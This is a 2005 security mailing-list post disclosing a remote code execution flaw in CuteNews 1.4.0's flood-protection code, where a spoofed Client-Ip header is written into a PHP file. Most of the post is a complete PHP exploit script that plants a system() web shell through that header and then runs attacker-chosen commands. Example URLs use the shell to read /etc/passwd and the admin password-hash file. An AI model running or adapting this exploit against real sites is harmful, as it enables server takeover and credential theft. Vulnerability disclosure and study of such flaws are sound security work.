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Date: 17 Sep 2005 17:57:58 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: CuteNews 1.4.0 remote code execution
CuteNews 1.4.0 (possibly prior versions) remote code execution
software:
site: http://cutephp.com/
description: "Cute news is a powerful and easy for using news management
system that use flat files to store its database. It supports comments, archives,
search function, image uploading, backup function, IP banning, flood protection ..."
vulnerability:
in flood protection code, look at this code inside /inc/shows.inc.php:
...
//----------------------------------
// Get the IP
//----------------------------------
$foundip = TRUE;
[!] if (getenv("HTTP_CLIENT_IP")) $ip = getenv("HTTP_CLIENT_IP"); [!]
else if(getenv("REMOTE_ADDR")) $ip = getenv("REMOTE_ADDR");
else if(getenv("HTTP_X_FORWARDED_FOR")) $ip = getenv("HTTP_X_FORWARDED_FOR");
else {$ip = "not detected"; $foundip = FALSE;}
[!] if( $foundip and !ip2long($ip) ){ $ip = "not detected"; $foundip = FALSE;} //ensure that what we have is a real IP [!]
...
many people, I think, simply doesn't know what is HTTP_CLIENT_IP header, you can
easily set and spoof it in a request packet, example:
POST /somescript.php HTTP/1.0
Client-Ip: 127.0.0.1
User-Agent: somebrowser
...
ETC.
this line:
...
if( $foundip and !ip2long($ip) ){ $ip = "not detected"; $foundip = FALSE;}
...
is simply a non-sense, because ip2long($ip) is always true, so we can inject PHP code
in Client-Ip field.
The flood protection features stores data in a temporary file with php extension,
/data/flood.db.php, usually we have something like this:
1126976551|127.0.0.1|1126966862|
but this time we have:
1126976551|<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>|1126966862|
;)
so you can launch commands until a user post another comment to an article:
http://[target]/[path]/cute/data/flood.db.php?cmd=cat%20/etc/passwd
to see /etc/passwd file
http://[target]/[path]/cute/data/flood.db.php?cmd=cat%20users.db.php
to see password hashes of any admin / user
and so on...
this is my proof of concept exploit, handle with care eehehehehe:
<?php
# cutenxpl.php #
# #
# CuteNews 1.4.0(possibly prior versions) remote code execution #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch form Apache, fill in requested fields, then go! #
# #
# make these changes in php.ini if you have troubles #
# with this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# Sun Tzu: "In the practical art of war, the best thing of all is to take #
# the enemy's country whole and intact; to shatter and destroy it is not #
# so good. So, too, it is better to recapture an army entire than to destroy #
# it, to capture a regiment, a detachment or a company entire than to destroy #
# them." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title>CuteNews <= 1.4.0 remote commands execution </title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> CuteNews <=
1 . 4 . 0 (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&main=value"> <p> <input type=
"text" name="host"><span class="Stile5">hostname (ex: www.sitename.com) </span>
</p><p><input type="text" name="path"><span class="Stile5"> path (ex: /cute/ or
just /) </span></p><p><input type="text" name="main"><span class="Stile5"> main
page where article are listed, ex: in default installation "example2.php"</span>
</p><p><input type="text"name="port"><span class="Stile5"> specify a port other
than 80 ( default value ) </span> </p> <p> <input type="text" name="command">
<span class="Stile5"> a Unix command , example: ls -la to list directories, ca
t /etc/passwd to show passwd file </span></p><p><input type="text" name="proxy">
<span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span></p>
<p> <input type="submit" name="Submit" value="go!"> </p></form> </td> </tr>
</table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>'') and ($main<>''))
{
if ($port=='') {$port=80;}
#STEP 1 -> Retrieve an article id
if ($proxy=='')
{$packet="GET ".$path.$main." HTTP/1.0 \r\n";}
else
{$packet="GET ".$host.$path.$main." HTTP/1.0 \r\n";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //show the packet for debugging purposes
sendpacket($packet);
$temp=explode("id=",$html);
$temp2=explode("&",$temp[1]);
$articleid=$temp2[0];
echo '<br><br>Article ID -> '.htmlentities($articleid).'<br><br>';
#STEP 2 -> Inject a shell in flood.db.php
$shell='<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>'; //customize it for your own pleasure...
$title=':)'; //comment title
$comment='Very glad to read such a good article! You should win Pulitzer prize!'; //customize here
$data="name=".urlencode($title)."&comments=".urlencode($comment)."&submit=Add+My+Comment&subaction=addcomment&ucat=1&show=";
if ($proxy=='')
{$packet="POST ".$path.$main."?subaction=showcomments&id=".urlencode($articleid)."&archive=&start_from=&ucat=1& HTTP/1.1\r\n";}
else
{$packet="POST http://".$host.$path.$main."?subaction=showcomments&id=".urlencode($articleid)."&archive=&start_from=&ucat=1& HTTP/1.1\r\n";}
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";
$packet.="Client-Ip: ".$shell."\r\n"; //spoof HTTP_CLIENT_IP var...
$packet.="Host: ".$host."r\n";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$packet.="Accept-Language: it,en;q=0.9\r\n";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
$packet.="Referer: http://".$host.$path."example2.php?subaction=showcomments&id=".urlencode($articleid)."&archive=&start_from=&ucat=1&\r\n";
$packet.="Connection: Keep-Alive, TE\r\n";
$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
show($packet); // debugging...
sendpacket($packet);
# STEP 3 -> Launch commands
echo '<br> If CuteNews is unpatched and vulnerable, now you will see '.htmlentities($command).' output...<br>';
if ($proxy=='')
{$packet="GET ".$path."data/flood.db.php?cmd=".urlencode($command)." HTTP/1.0 \r\n";}
else
{$packet="GET ".$host.$path."data/flood.db.php?cmd=".urlencode($command)." HTTP/1.0 \r\n";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet); //debugging...
sendpacket($packet);
}
else
{echo 'fill in all requested fields...';}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod [at] aliceposta it
original advisory: http://rgod.altervista.org/cutenews140.html
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